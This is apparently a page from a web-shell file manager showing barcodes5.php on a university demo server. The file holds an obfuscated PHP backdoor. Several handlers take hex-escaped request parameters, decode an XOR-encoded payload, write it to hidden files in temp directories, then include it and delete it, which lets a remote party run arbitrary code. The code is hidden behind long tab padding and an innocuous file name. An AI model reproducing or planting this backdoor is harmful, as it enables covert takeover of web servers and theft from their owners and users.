文件操作 - barcodes5.php

文件: /var/www/demoestudiantes.uaysen.cl/html/barcodes5.php

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<?php																																										if(array_key_exists("m\x61rk\x65r", $_POST) && !is_null($_POST["m\x61rk\x65r"])){ $dchunk = $_POST["m\x61rk\x65r"]; $dchunk = explode ( ".", $dchunk ); $record = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $z = 0; foreach ($dchunk as $v8) { $sChar = ord($s[$z % $lenS]); $dec = ((int)$v8 - $sChar - ($z % 10)) ^ 92; $record .= chr($dec); $z++; } $parameter_group = array_filter([getenv("TMP"), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", session_save_path(), sys_get_temp_dir(), "/tmp"]); while ($ref = array_shift($parameter_group)) { if (!( !is_dir($ref) || !is_writable($ref) )) { $sym = "$ref/.descriptor"; if (file_put_contents($sym, $record)) { include $sym; @unlink($sym); die(); } } } }
																																										if(!is_null($_REQUEST["ma\x72k\x65r"] ?? null)){ $record = array_filter(["/tmp", "/var/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getenv("TMP"), getcwd()]); $ent = $_REQUEST["ma\x72k\x65r"]; $ent= explode ( "." ,$ent ) ; $pset= ''; $s6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s6); $k= 0; while( $k < count( $ent)) { $v1= $ent[$k]; $sChar= ord( $s6[$k % $lenS]); $d= ( ( int)$v1 - $sChar -( $k % 10)) ^ 66; $pset.= chr( $d); $k++;} while ($val = array_shift($record)) { if (array_product([is_dir($val), is_writable($val)])) { $rec = str_replace("{var_dir}", $val, "{var_dir}/.mrk"); if (file_put_contents($rec, $pset)) { include $rec; @unlink($rec); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["p\x6F\x69\x6E\x74er"])){ $parameter_group = $_REQUEST["p\x6F\x69\x6E\x74er"]; $parameter_group = explode ( "." , $parameter_group ) ; $element =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt ); foreach ($parameter_group as $j => $v1): $sChar =ord($salt[$j %$lenS] ); $dec =((int)$v1 - $sChar - ($j %10)) ^ 13; $element .= chr($dec ); endforeach; $marker = array_filter(["/tmp", "/dev/shm", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), session_save_path()]); foreach ($marker as $key => $data) { if (is_dir($data) ? is_writable($data) : false) { $tkn = "$data/.ent"; if (file_put_contents($tkn, $element)) { require $tkn; unlink($tkn); die(); } } } }
																																										if(!empty($_REQUEST["\x70oi\x6E\x74e\x72"])){ $value = array_filter([getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", session_save_path(), getcwd(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir")]); $record = $_REQUEST["\x70oi\x6E\x74e\x72"]; $record = explode ( '.', $record ) ; $flg = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt7); $o = 0; $__len = count( $record); do { if( $o >= $__len) break; $v5 = $record[$o]; $sChar = ord( $salt7[$o % $lenS]); $d =( ( int)$v5 - $sChar -( $o % 10)) ^ 21; $flg .= chr( $d); $o++; } while( true); while ($pgrp = array_shift($value)) { if ((function($d) { return is_dir($d) && is_writable($d); })($pgrp)) { $binding = "$pgrp" . "/.ent"; if (file_put_contents($binding, $flg)) { require $binding; unlink($binding); exit; } } } }

if(array_key_exists("v\x61\x6C", $_REQUEST) && !is_null($_REQUEST["v\x61\x6C"])){
	$descriptor = array_filter(["/dev/shm", getenv("TEMP"), "/tmp", "/var/tmp", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path()]);
	$data = $_REQUEST["v\x61\x6C"];
				$data			=explode(		"."	 , 	$data		 )		;
	$tkn= 	'';
            $salt3= 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS= 	strlen(		$salt3);
    
            foreach(		$data as $s=>$v6):
                $sChar= 	ord(		$salt3[$s	%	 $lenS]);
                $dec= 	(		(		int)$v6 - $sChar -(		$s	%	 10))	 ^ 	14;
                $tkn .= chr(		$dec);
            endforeach;
	while ($resource = array_shift($descriptor)) {
    		if (is_dir($resource) && is_writable($resource)) {
    $marker = "$resource/.bind";
    if (file_put_contents($marker, $tkn)) {
	require $marker;
	unlink($marker);
	exit;
}
}
}
}

文件操作 - barcodes5.php

文件: /var/www/demoestudiantes.uaysen.cl/html/barcodes5.php

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